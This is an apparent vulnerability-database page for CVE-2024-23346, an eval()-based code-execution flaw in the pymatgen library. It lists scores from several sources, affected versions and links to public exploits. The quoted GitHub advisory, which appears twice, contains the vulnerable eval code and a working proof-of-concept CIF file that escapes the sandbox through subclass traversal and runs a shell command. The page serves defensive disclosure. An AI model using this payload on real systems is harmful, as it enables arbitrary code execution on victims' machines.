CVE-2024-23346
pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string
Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.4
pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string
Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.
- Record
CVE-2024-23346- CVSS 3.1
- 9.4 Critical
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
EUVDEUVD-2024-0203
9.4
Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.
- Record
EUVD-2024-0203- CVSS 3.1
- 9.4 Critical
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-vgv8-5cpj-qj2f
9.3
pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string
Summary
A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.
Details
The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of eval().
Vulnerable code
basis_change = [
re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])
The use of eval, even with __builtins__ set to None, is still a security risk. The BuiltinImporter class can be recovered with subclass traversal.
PoC
The vulnerability can be exploited as follows:
Create a file vuln.cif with the following contents:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Then, parse the cif file with the following code:
from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()
Credits
This vulnerability was found and disclosed by William Khem-Marquez.
- Record
GHSA-vgv8-5cpj-qj2f- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
NVD
9.3
Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.
- Record
CVE-2024-23346- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSV
9.3
pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string
Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.
- Record
CVE-2024-23346- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2024-23346
7.8
Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.
- Record
DEBIAN-CVE-2024-23346- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVGHSA-vgv8-5cpj-qj2f
9.3
pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string
Summary
A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.
Details
The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of eval().
Vulnerable code
basis_change = [
re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])
The use of eval, even with __builtins__ set to None, is still a security risk. The BuiltinImporter class can be recovered with subclass traversal.
PoC
The vulnerability can be exploited as follows:
Create a file vuln.cif with the following contents:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Then, parse the cif file with the following code:
from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()
Credits
This vulnerability was found and disclosed by William Khem-Marquez.
- Record
GHSA-vgv8-5cpj-qj2f- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSVPYSEC-2024-226
7.8
Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.
- Record
PYSEC-2024-226- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2024-23346
9.3
Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.
- Record
UBUNTU-CVE-2024-23346- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pymatgenPyPI |
before 2024.2.20 | 2024.2.20 |
pymatgenDebian:12 |
before 2022.11.7+dfsg1-11+deb12u1, plus listed versions 2022.11.7+dfsg1-11 |
2022.11.7+dfsg1-11+deb12u1 |
pymatgenDebian:13 |
before 2024.1.27+dfsg1-6 | 2024.1.27+dfsg1-6 |
pymatgenPyPI |
before 2024.2.20, plus listed versions 1.0.41.0.51.1.01.1.11.1.2 Show 45 moreShow less1.2.01.2.11.2.21.2.31.2.41.2.81.2.91.5.01.6.01.7.01.7.21.8.01.8.21.8.31.9.02.0.02.1.02.1.22.10.02.10.12.10.22.10.32.10.42.10.52.10.62.2.02.2.12.2.22.2.32.2.42.2.62.3.02.3.12.3.22.4.02.4.12.4.22.4.32.5.02.5.12.5.22.5.32.5.42.5.52.6.1 |
2024.2.20 |
pymatgenPyPI |
before 2024.2.20, plus listed versions 1.0.41.0.51.1.01.1.11.1.2 Show 45 moreShow less1.2.01.2.11.2.21.2.31.2.41.2.81.2.91.5.01.6.01.7.01.7.21.8.01.8.21.8.31.9.02.0.02.1.02.1.22.10.02.10.12.10.22.10.32.10.42.10.52.10.62.2.02.2.12.2.22.2.32.2.42.2.62.3.02.3.12.3.22.4.02.4.12.4.22.4.32.5.02.5.12.5.22.5.32.5.42.5.52.6.1 |
2024.2.20 |
pymatgenUbuntu:22.04:LTS |
All versions, plus listed versions 2022.0.14+dfsg1-12022.0.16+dfsg1-12022.0.17+dfsg1-12022.0.17+dfsg1-1build1 |
None known |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Exploit-DB | Pymatgen 2024.1 - Remote Code Execution (RCE) | 2025-04-15 |
| PoC in GitHub | 9carlo6/CVE-2024-23346 | 2024-11-05 |
| PoC in GitHub | DAVIDAROCA27/CVE-2024-23346-exploit | 2025-07-24 |
| PoC in GitHub | MAWK0235/CVE-2024-23346 | 2024-12-09 |
| PoC in GitHub | Sanity-Archive/CVE-2024-23346 | 2025-02-20 |
| PoC in GitHub | szyth/CVE-2024-23346-rust-exploit | 2025-02-25 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, Exploit-DB, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-23346 is a critical vulnerability (CVSS 9.4) in Materialsproject Pymatgen, published February 21, 2024. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 3.85%, the 90th percentile. Fixed in pymatgen 2024.2.20.
References
github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f
github.com/materialsproject/pymatgen/commit/c231cbd3d5147ee920a37b6ee9dd236b376bcf5a
github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py
vicarius.io/vsociety/posts/critical-security-flaw-in-pymatgen-library-cve-2024-23346
nvd.nist.gov/vuln/detail/CVE-2024-23346
github.com/pypa/advisory-database/tree/main/vulns/pymatgen/PYSEC-2024-226.yaml
Left out here: 854 versions. The JSON record has them.